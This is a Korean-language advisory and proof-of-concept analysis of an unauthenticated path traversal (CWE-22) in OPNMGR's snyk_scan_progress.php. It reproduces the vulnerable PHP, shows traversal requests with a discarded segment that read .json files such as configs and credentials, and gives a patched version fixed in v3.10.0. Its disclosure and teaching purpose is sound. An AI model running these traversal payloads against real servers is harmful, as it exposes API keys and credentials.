
CVE-2026-103978에 대한 개념 증명 및 분석 문서로, OPNMGR의 snyk_scan_progress.php에서 인증 없이 경로 탐색을 통해 임의의 .json 파일을 읽을 수 있는 취약점이다.
로그인 없이 임의의 .json 파일을 읽을 수 있습니다. PHP로 작성된 OPNsense 플릿 관리자인 agit8or1/OPNMGR의 소스를 읽던 중 발견했습니다.
| CVE | CVE-2026-103978 |
| 권고 | GHSA-8x7v-vwpx-3wr7 |
| 분류 | CWE-22 (경로 순회) |
| 인증 | 없음 |
| CVSS v3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS v4.0 | 8.7 High |
| 수정 버전 | v3.10.0 |
| 발견자 | Kanarat Kaeothong (Axiom0x) |
snyk_scan_progress.php는 웹 루트에 위치하며 쿼리 문자열에서 scan_id를 그대로 가져와 파일 경로에 붙이고, 그 결과를 file_get_contents()에 전달합니다. 인증 include도, 세션 검사도, 파라미터 정제도 없습니다.
<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? ''; // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }
$progress_file = "/tmp/snyk_scan_{$scan_id}.json"; // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }
$progress_data = file_get_contents($progress_file);
echo $progress_data; // sent back to the caller
앱의 다른 모든 엔드포인트는 작업을 수행하기 전에 inc/bootstrap.php를 불러오고 requireLogin()을 호출합니다. 이 파일만 모든 것을 건너뜁니다. 따라서 scan_id는 공격자가 제어할 수 있고, 경로에 그대로 들어가며, 파일 내용이 응답으로 반환됩니다.
한 가지 걸림돌이 있습니다. 접두사 snyk_scan_이 전송한 값에 그대로 붙기 때문에, ..로 시작하는 페이로드는 삼켜집니다(snyk_scan_..은 /tmp에 있는 그냥 이상한 파일 이름일 뿐입니다). ..이 실제로 상위 디렉터리 이동이 되려면 먼저 버려질 세그먼트가 필요합니다:
/tmp/snyk_scan_ + x/../../etc/passwd -> /tmp/snyk_scan_x/../../etc/passwd
-> /etc/passwd.json
끝에 붙는 .json은 코드에 의해 강제되며 현대 PHP에는 널 바이트 트릭이 없으므로, .json으로 끝나는 파일만 읽을 수 있습니다. 실제 PHP 배포 환경에서는 이것이 그다지 큰 제약이 아닙니다. 설정 파일, 서비스 계정 키, composer auth.json, 클라우드 자격 증명 등 대부분의 중요한 것들은 이미 .json입니다.
GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
-> returns /var/www/opnsense/config.json
GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
-> walks to filesystem root, returns /etc/some_config.json
실행 가능한 버전은 poc/poc.sh에 있습니다.
www-data가 읽을 수 있는 .json으로 끝나는 모든 파일이 이 페이지에 접근할 수 있는 누구에게나 공개됩니다. OPNsense 방화벽을 관리하는 서버에서는 보통 API 키와 자격 증명을 의미합니다.
앱의 나머지 부분에서 사용하는 인증 include를 추가하고, 경로를 구성하기 전에 scan_id를 엄격한 허용 목록으로 검증하세요:
require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();
$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid scan id']);
exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';
메인테이너는 v3.10.0에서 수정 사항을 배포했습니다.
조정된 공개를 통해 보고되었습니다. 취약한 버전은 더 이상 현재 릴리스가 아닙니다. 이 문서는 참고 및 학습을 위해 남겨둡니다.